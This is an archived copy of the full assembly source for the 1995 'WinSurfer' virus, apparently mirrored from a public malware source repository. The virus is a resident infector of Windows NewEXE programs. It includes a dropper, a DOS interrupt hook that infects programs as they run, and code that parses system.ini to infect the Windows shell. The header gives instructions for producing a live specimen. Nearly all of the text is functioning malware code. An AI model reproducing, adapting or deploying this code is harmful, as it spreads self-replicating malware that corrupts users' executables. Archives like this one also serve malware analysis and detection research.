mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
655 lines
21 KiB
Plaintext
655 lines
21 KiB
Plaintext
|
|
;-------------------------------------------------------------------------
|
|
;
|
|
; WinSurfer Virus (c) 1995 VLAD incorporated.
|
|
; Written by qark and quantum.
|
|
;
|
|
; This virus is a parasitic TSR infector of NewEXE files. It works in
|
|
; protected mode only and infects on file execute.
|
|
;
|
|
; The executable infection code is by qark, while the interrupt handler
|
|
; code is by quantum.
|
|
;
|
|
; This virus contains no stealth of any form, a simple readonly attribute
|
|
; will stop the virus from writing, the time/date stamp is not preserved
|
|
; and there is no encryption of any form. Windows users are too dumb to
|
|
; notice anyway.
|
|
;
|
|
; To obtain a specimen of the virus, copy the compiled com file into the
|
|
; same directory as the file WINMINE.EXE and run it. Go into Windows
|
|
; and run the game 'Minesweeper'. Minesweeper should infect program
|
|
; manager direct action, so that next time windows is booted the virus
|
|
; will be resident.
|
|
;
|
|
; Possible Bugs and Improvements:
|
|
; 1) An error may be that if the file isn't exactly shift alignment sized
|
|
; the virus will overwrite some data at the end of the file or be
|
|
; incorrectly pointed.
|
|
; 2) An error may occur if the end of the segment table is less than eight
|
|
; bytes from a 512 byte divisor.
|
|
; 3) It may be possible to allocate buffer space without adding to virus
|
|
; size by changing the segment memory size in the segment table. At the
|
|
; moment the virus size is being doubled by the 512 byte read buffer we
|
|
; include in the disk image.
|
|
;
|
|
; Although the final virus was coded completely by quantum and I, many
|
|
; people helped by offering ideas, and windows documentation so I
|
|
; must give thanks to the following people:
|
|
; Screaming Radish, Stalker X, Dreadlord and some scandinavian dude.
|
|
; The most important help came from Malware who taught me the relocation
|
|
; entry ffff trick.
|
|
;
|
|
; Assemble with a86.
|
|
;-------------------------------------------------------------------------
|
|
|
|
|
|
;--Directly below is dropper code, ignore it, page down to the virus code--
|
|
|
|
mov ax,3d02h
|
|
mov dx,offset fname
|
|
int 21h
|
|
xchg bx,ax
|
|
|
|
mov ah,3fh
|
|
mov cx,512
|
|
mov dx,offset buffer
|
|
int 21h
|
|
|
|
mov si,offset buffer
|
|
cmp word ptr [si+3ch],400h
|
|
je ok_dropper
|
|
int 20h
|
|
ok_dropper:
|
|
mov ax,word ptr [si+2]
|
|
mov word ptr ppage,ax
|
|
mov ax,word ptr [si+4]
|
|
mov word ptr pfile,ax
|
|
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
cwd
|
|
int 21h
|
|
|
|
mov ah,40h
|
|
mov cx,offset setsp - offset header
|
|
mov dx,offset header
|
|
int 21h
|
|
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
mov dx,word ptr [si+3ch]
|
|
int 21h
|
|
|
|
mov ah,3fh
|
|
mov cx,512
|
|
mov dx,offset buffer
|
|
int 21h
|
|
|
|
mov ax,word ptr [si+1ch]
|
|
inc word ptr [si+1ch] ;increase segment count
|
|
mov cl,8
|
|
mul cl
|
|
|
|
mov di,word ptr [si+22h]
|
|
add di,si
|
|
add di,ax
|
|
|
|
mov ax,4202h
|
|
xor cx,cx
|
|
cwd
|
|
int 21h
|
|
|
|
;write in the new segment into the table
|
|
|
|
mov cl,byte ptr [si+32h]
|
|
push bx
|
|
mov bx,1
|
|
shl bx,cl
|
|
mov cx,bx
|
|
pop bx
|
|
div cx
|
|
|
|
mov word ptr [di],ax
|
|
mov word ptr [di+2],winend-win_entry
|
|
mov word ptr [di+4],180h
|
|
mov word ptr [di+6],winend-win_entry
|
|
|
|
mov ax,word ptr [si+14h]
|
|
mov word ptr winip2,ax
|
|
|
|
mov word ptr [si+14h],0
|
|
|
|
mov ax,word ptr [si+16h]
|
|
mov word ptr wincs2,ax
|
|
mov ax,word ptr [si+1ch] ;new cs:ip
|
|
mov word ptr [si+16h],ax
|
|
|
|
mov ah,40h
|
|
mov cx,winend-win_entry + 20h
|
|
mov dx,offset win_entry
|
|
int 21h
|
|
|
|
add word ptr [si+4],512
|
|
|
|
add word ptr [si+24h],512
|
|
add word ptr [si+26h],512
|
|
add word ptr [si+28h],512
|
|
add word ptr [si+2ah],512
|
|
|
|
mov dx,512
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
int 21h
|
|
|
|
mov ah,40h
|
|
mov cx,512
|
|
mov dx,offset buffer
|
|
int 21h
|
|
|
|
mov ah,3eh
|
|
int 21h
|
|
|
|
int 20h
|
|
|
|
;--The New Windows DOS stub--
|
|
header db 'MZ'
|
|
ppage dw 0 ;part page
|
|
pfile dw 0 ;file/512
|
|
dw 0 ;relocation items
|
|
dw 10h ;header size/16
|
|
dw 0 ;minmem
|
|
dw -1 ;maxmem
|
|
dw 0 ;SS
|
|
dw offset setsp - offset winstart ;SP
|
|
dw 0 ;checksum
|
|
dw 0 ;IP
|
|
dw 0 ;CS
|
|
dw 40h ;Relocation offset
|
|
dupsize1 equ 3ch - ($-offset header)
|
|
db dupsize1 dup (0)
|
|
dw 200h ;NE offset
|
|
dupsize2 equ 100h - ($-offset header)
|
|
db dupsize2 dup (0)
|
|
winstart:
|
|
call windowsmsg
|
|
db 'This program requires Microsoft Windows.',0dh,0ah,'$'
|
|
windowsmsg:
|
|
pop dx
|
|
push cs
|
|
pop ds
|
|
mov ah,9
|
|
int 21h
|
|
mov ax,4c01h
|
|
int 21h
|
|
db 100 dup (0)
|
|
setsp:
|
|
;---end of fake dropper dos stub--
|
|
|
|
fname db 'winmine.exe',0
|
|
|
|
|
|
;----Start of the Virus---All the above is the dropper code, ignore it-------
|
|
|
|
win_entry: ;Infected windows executables start here.
|
|
jmp realenter
|
|
|
|
int21start: ;Virus Int21 handler
|
|
|
|
cmp ax,1894h ;Residency test ?
|
|
jnz nottest
|
|
mov cx,1234h
|
|
iret
|
|
nottest:
|
|
|
|
pusha
|
|
push ds
|
|
push es
|
|
|
|
cmp ah,4bh ;Windows is so dumb it uses DOS to
|
|
;execute.
|
|
jnz return2int
|
|
call executing
|
|
|
|
return2int:
|
|
|
|
pop es
|
|
pop ds
|
|
popa
|
|
|
|
db 0eah
|
|
oldint21 dw 0,0
|
|
|
|
executing:
|
|
|
|
mov ax,3d02h ;Open file in DS:DX
|
|
int 21h
|
|
jnc ok_open
|
|
ret
|
|
ok_open:
|
|
push ax
|
|
mov ax,0ah ;This function makes our CS writable.
|
|
push cs
|
|
pop bx
|
|
int 31h
|
|
push ax
|
|
pop ds
|
|
pop bx
|
|
|
|
mov ah,3fh ;Read first 512 bytes of EXE header.
|
|
mov cx,512
|
|
mov dx,offset buffer-offset win_entry
|
|
int 21h
|
|
|
|
mov si,offset buffer-offset win_entry
|
|
|
|
cmp word ptr [si],'ZM' ;Not a COM file.
|
|
jne bad_open
|
|
cmp word ptr [si+18h],40h ;40h+ for NE exe's
|
|
jb bad_open
|
|
cmp word ptr [si+3ch],400h ;header will be below if
|
|
je fileisoktoinfect ;already infected...
|
|
bad_open:
|
|
jmp fileisunsuitable
|
|
|
|
fileisoktoinfect:
|
|
sub word ptr [si+3ch],8 ;Change NE pointer.
|
|
sub word ptr [si+10h],8 ;Incase stack is end of header
|
|
|
|
mov ax,4200h ;Lseek right back to the start.
|
|
xor cx,cx
|
|
cwd
|
|
int 21h
|
|
|
|
mov ah,40h ;Rewrite the modified DOS header.
|
|
mov cx,512
|
|
mov dx,offset buffer - offset win_entry
|
|
int 21h
|
|
jc bad_open ;Write fail.. outta here!
|
|
|
|
mov ax,4200h ;Lseek to NE header.
|
|
xor cx,cx
|
|
mov dx,400h
|
|
int 21h
|
|
|
|
mov ah,3fh ;Read in first 512 bytes.
|
|
mov cx,512
|
|
mov dx,offset buffer - offset win_entry
|
|
int 21h
|
|
|
|
;Adjust header offsets. Any tables behind the segment table will
|
|
;have their offset increased by eight because we are inserting a new
|
|
;eight byte segment entry.
|
|
|
|
mov ax,word ptr [si+22h] ;AX=Segment table offset.
|
|
cmp word ptr [si+4],ax
|
|
jb ok_et
|
|
add word ptr [si+4],8
|
|
ok_et:
|
|
cmp word ptr [si+24h],ax
|
|
jb ok_rt
|
|
add word ptr [si+24h],8
|
|
ok_rt:
|
|
cmp word ptr [si+26h],ax
|
|
jb ok_rnt
|
|
add word ptr [si+26h],8
|
|
ok_rnt:
|
|
cmp word ptr [si+28h],ax
|
|
jb ok_mrt
|
|
add word ptr [si+28h],8
|
|
ok_mrt:
|
|
cmp word ptr [si+2ah],ax
|
|
jb ok_int
|
|
add word ptr [si+2ah],8
|
|
ok_int:
|
|
|
|
mov ax,word ptr [si+1ch]
|
|
inc word ptr [si+1ch] ;Increase segment count.
|
|
mov cl,8 ;Assume less than 256 segments.
|
|
mul cl
|
|
|
|
add ax,word ptr [si+22h] ;AX=Size of segment table.
|
|
xor dx,dx ;High order division value.
|
|
mov cx,512 ;512 byte portions are used
|
|
; for the reads later on.
|
|
div cx
|
|
|
|
mov word ptr [offset ne_size-offset win_entry],ax
|
|
;How much we'll have to read.
|
|
mov word ptr [offset last_ne-offset win_entry],dx
|
|
;Where the end of the segment table
|
|
; will be when we read it into the
|
|
; buffer. (The last buffer)
|
|
|
|
;Put the original CS:IP into our relocation table.
|
|
push word ptr [si+14h]
|
|
pop word ptr [offset newwinip2 - offset win_entry]
|
|
push word ptr [si+16h]
|
|
pop word ptr [offset newwincs2 - offset win_entry]
|
|
|
|
;Save the alignment shift count because we need that for calculating
|
|
;the offset of our segment when writing the segment entry.
|
|
push word ptr [si+32h]
|
|
pop word ptr [offset al_shift - offset win_entry]
|
|
|
|
;Point CS:IP to the virus.
|
|
mov word ptr [si+14h],0 ;The new IP
|
|
mov ax,word ptr [si+1ch]
|
|
mov word ptr [si+16h],ax ;The new CS
|
|
|
|
;Initialise the lseek variable
|
|
mov word ptr [offset lseek-offset win_entry],400h
|
|
|
|
;The below code gets the NE header and keeps moving it forward by
|
|
;eight bytes in 512 byte chunks.
|
|
move_header_forward:
|
|
mov ax,word ptr [offset ne_size-offset win_entry]
|
|
or ax,ax
|
|
jz last_page
|
|
|
|
dec word ptr [offset ne_size-offset win_entry]
|
|
|
|
mov ax,4200h ;Lseek to our current position.
|
|
xor cx,cx
|
|
mov dx,word ptr [offset lseek-offset win_entry]
|
|
sub dx,8
|
|
int 21h
|
|
|
|
mov ah,40h ;Write the header section out.
|
|
mov cx,512
|
|
mov dx,si
|
|
int 21h
|
|
|
|
;Advance the pointer by 512.
|
|
add word ptr [offset lseek-offset win_entry],512
|
|
|
|
mov ax,4200h ;Lseek to the next chunk.
|
|
xor cx,cx
|
|
mov dx,word ptr [offset lseek-offset win_entry]
|
|
int 21h
|
|
|
|
mov ah,3fh ;Read it.
|
|
mov dx,offset buffer - offset win_entry
|
|
mov cx,512
|
|
int 21h
|
|
|
|
jmp move_header_forward
|
|
|
|
last_page:
|
|
mov ax,4202h ;Lseek to end of file.
|
|
xor cx,cx
|
|
cwd
|
|
int 21h ;File length into DX:AX
|
|
|
|
;DX:AX=File offset of our segment
|
|
;Below section shifts the segment offset right by the alignment
|
|
;shift value.
|
|
mov cl,byte ptr [offset al_shift - offset win_entry]
|
|
push bx
|
|
mov bx,1
|
|
shl bx,cl
|
|
mov cx,bx
|
|
pop bx
|
|
div cx
|
|
|
|
mov di,si
|
|
add di,word ptr [offset last_ne-offset win_entry]
|
|
|
|
;Adding the new segment table entry
|
|
mov word ptr [di],ax ;Segment offset
|
|
mov word ptr [di+2],offset winend-offset win_entry
|
|
mov word ptr [di+4],180h ;Segment attribute
|
|
; 180h = NonMovable + Relocations
|
|
mov word ptr [di+6],offset winend-offset win_entry
|
|
|
|
mov ax,4200h ;Lseek to next position.
|
|
xor cx,cx
|
|
mov dx,word ptr [offset lseek-offset win_entry]
|
|
sub dx,8
|
|
int 21h
|
|
|
|
mov ah,40h ;Write rest of NE header + new seg entry.
|
|
mov cx,word ptr [offset last_ne-offset win_entry]
|
|
add cx,8 ;Added segment entry means eight more.
|
|
mov dx,offset buffer - offset win_entry
|
|
int 21h
|
|
|
|
;Reset the relocatable pointer.
|
|
push word ptr [offset winip - offset win_entry]
|
|
push word ptr [offset wincs - offset win_entry]
|
|
mov word ptr [offset winip - offset win_entry],0
|
|
mov word ptr [offset wincs - offset win_entry],0ffffh
|
|
|
|
mov ax,4202h ;Lseek to end of file.
|
|
xor cx,cx
|
|
cwd
|
|
int 21h
|
|
|
|
mov ah,40h ;Write main virus body.
|
|
mov cx,offset winend-offset win_entry
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
pop word ptr [offset wincs - offset win_entry]
|
|
pop word ptr [offset winip - offset win_entry]
|
|
|
|
mov ah,40h ;Write the relocation item.
|
|
mov cx,offset winend-offset relocblk
|
|
mov dx,offset relocblk-offset win_entry
|
|
int 21h
|
|
|
|
fileisunsuitable:
|
|
|
|
mov ah,3eh ;Close file.
|
|
int 21h
|
|
|
|
ret
|
|
|
|
prefix db 'hell='
|
|
windir db 'indir='
|
|
systemfile db 'system.ini',0
|
|
NE_Size dw 0
|
|
Last_NE dw 0
|
|
Al_Shift dw 0
|
|
LSeek dw 0
|
|
progman db 0 ;1=Program Manager
|
|
envir dw 0 ;environment segment
|
|
pathbuff db 142 dup (0)
|
|
realenter:
|
|
|
|
pusha
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
|
|
mov ax,1686h ;Is DPMI available ?
|
|
int 2fh
|
|
or ax,ax
|
|
jz dpmifound
|
|
no_dpmi:
|
|
jmp alreadyinmem
|
|
dpmifound:
|
|
mov ax,000ah ;Make CS writable.
|
|
push cs ;Protected mode isn't protected.
|
|
pop bx
|
|
int 31h ;Use DPMI.
|
|
push ax
|
|
pop ds
|
|
|
|
xor cx,cx ;Check if resident.
|
|
mov ax,1894h
|
|
int 21h
|
|
|
|
cmp cx,1234h ;Must be resident..
|
|
jz no_dpmi
|
|
|
|
cmp byte ptr [offset progman - offset win_entry],1
|
|
jne direct_progman
|
|
|
|
mov byte ptr [offset progman - offset win_entry],0
|
|
|
|
;Can't go TSR off any program but program manager.
|
|
mov ax,0204h ;Get real mode interrupt vector.
|
|
mov bl,21h
|
|
int 31h
|
|
|
|
mov ds:[offset oldint21 - win_entry],dx
|
|
mov ds:[offset oldint21 - win_entry + 2],cx
|
|
|
|
push cs
|
|
pop cx
|
|
mov dx,offset int21start-win_entry
|
|
mov ax,0205h
|
|
mov bl,21h
|
|
int 31h ;Set real mode interrupt vector.
|
|
jmp alreadyinmem
|
|
|
|
direct_progman:
|
|
;Next portion of code searches for the environment variable
|
|
;'windir' and places that before the files we access.
|
|
|
|
;On entry ES=PSP
|
|
|
|
mov ax,word ptr es:[2ch] ;PSP:[2ch]=Environment segment.
|
|
|
|
cld
|
|
|
|
mov es,ax
|
|
|
|
mov al,'w' ;w from windir
|
|
mov cx,-1
|
|
xor di,di
|
|
mov dx,di
|
|
dir_loop:
|
|
mov di,dx
|
|
repnz scasb
|
|
mov dx,di
|
|
mov si,offset windir-win_entry
|
|
push cx
|
|
mov cx,6
|
|
repe cmpsb ;indir from windir
|
|
pop cx
|
|
jne dir_loop
|
|
mov si,di
|
|
mov ax,ds
|
|
push es
|
|
pop ds
|
|
mov es,ax
|
|
mov cx,128
|
|
mov di,offset pathbuff-win_entry
|
|
rep movsb ;Move it into our path buffer.
|
|
push es
|
|
pop ds
|
|
|
|
mov di,offset pathbuff-win_entry
|
|
mov al,0
|
|
mov cx,128
|
|
repnz scasb
|
|
mov byte ptr es:[di-1],'\' ;Add a slash behind the path.
|
|
mov si,offset systemfile -offset win_entry
|
|
mov cx,11
|
|
rep movsb
|
|
|
|
;The below code reads in the 'system.ini' file and searches for
|
|
;the 'shell=' value, and infects the program specified by it.
|
|
;The windows shell (eg program manager) is always active in memory
|
|
;and we use it to go resident off.
|
|
|
|
mov ax,3d02h
|
|
mov dx,offset pathbuff -offset win_entry
|
|
int 21h
|
|
|
|
jc alreadyinmem
|
|
xchg bx,ax
|
|
|
|
mov ah,3fh
|
|
mov cx,512
|
|
mov dx,offset buffer -offset win_entry
|
|
int 21h
|
|
|
|
mov ah,3eh
|
|
int 21h
|
|
|
|
push ds
|
|
pop es
|
|
|
|
mov di,offset buffer-offset win_entry
|
|
mov dx,di
|
|
|
|
cld
|
|
mov cx,512
|
|
shell_loop:
|
|
mov di,dx
|
|
mov al,'s' ;The 's' in 'shell='
|
|
repne scasb
|
|
jne alreadyinmem
|
|
mov dx,di
|
|
|
|
mov si,offset prefix -offset win_entry ;Test for 'hell='
|
|
push cx
|
|
mov cx,5
|
|
repe cmpsb
|
|
pop cx
|
|
jne shell_loop
|
|
mov si,di ;Offset of filename into DX.
|
|
|
|
mov al,'.' ;The dot in the filename extension.
|
|
mov cl,0ffh
|
|
repne scasb
|
|
add di,3 ;Point to past the filename.
|
|
mov byte ptr es:[di],0 ;Add a zero to make it asciiz.
|
|
|
|
mov di,offset pathbuff-win_entry
|
|
mov al,0
|
|
mov cx,128
|
|
repnz scasb ;Search for the 0 at the path end.
|
|
dec di
|
|
mov al,'\' ;Now find the last backslash.
|
|
mov cx,128
|
|
std ;Scan backwards.
|
|
repnz scasb
|
|
cld
|
|
inc di ;DI points behind the final '\'
|
|
inc di
|
|
mov cx,15
|
|
rep movsb ;Append the shell program name.
|
|
mov dx,offset pathbuff-win_entry
|
|
|
|
mov byte ptr [offset progman - offset win_entry],1
|
|
call executing
|
|
mov byte ptr [offset progman - offset win_entry],0
|
|
|
|
alreadyinmem:
|
|
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
popa
|
|
|
|
db 0eah ;JMP FAR PTR xxxx:xxxx
|
|
winip dw 0
|
|
wincs dw 0ffffh ;Needs to be FFFF due to windows
|
|
; relocation item format.
|
|
buffer db 512 dup (0)
|
|
|
|
;Below is the relocation item format. What ours does is turn the far jump
|
|
; above us into a jump to the original CS:IP.
|
|
relocblk dw 1 ;Signal only one relocation item.
|
|
db 3 ;32 bit pointer relocation.
|
|
db 4 ;Additive relocation (unsure, but
|
|
; it doesnt work unless you put this)
|
|
dw offset winip-offset win_entry ;Relocation offset.
|
|
newwincs2 dw 0 ;Target of the relocation. (We use
|
|
newwinip2 dw 0 ; the original host CS:IP)
|
|
|
|
winend: ;The actual virus ends here.
|
|
;-----End of the Virus---Below is dropper code-----------------------------
|
|
dw 1
|
|
db 3
|
|
db 4
|
|
dw offset winip - offset win_entry
|
|
wincs2 dw 0
|
|
winip2 dw 0
|
|
|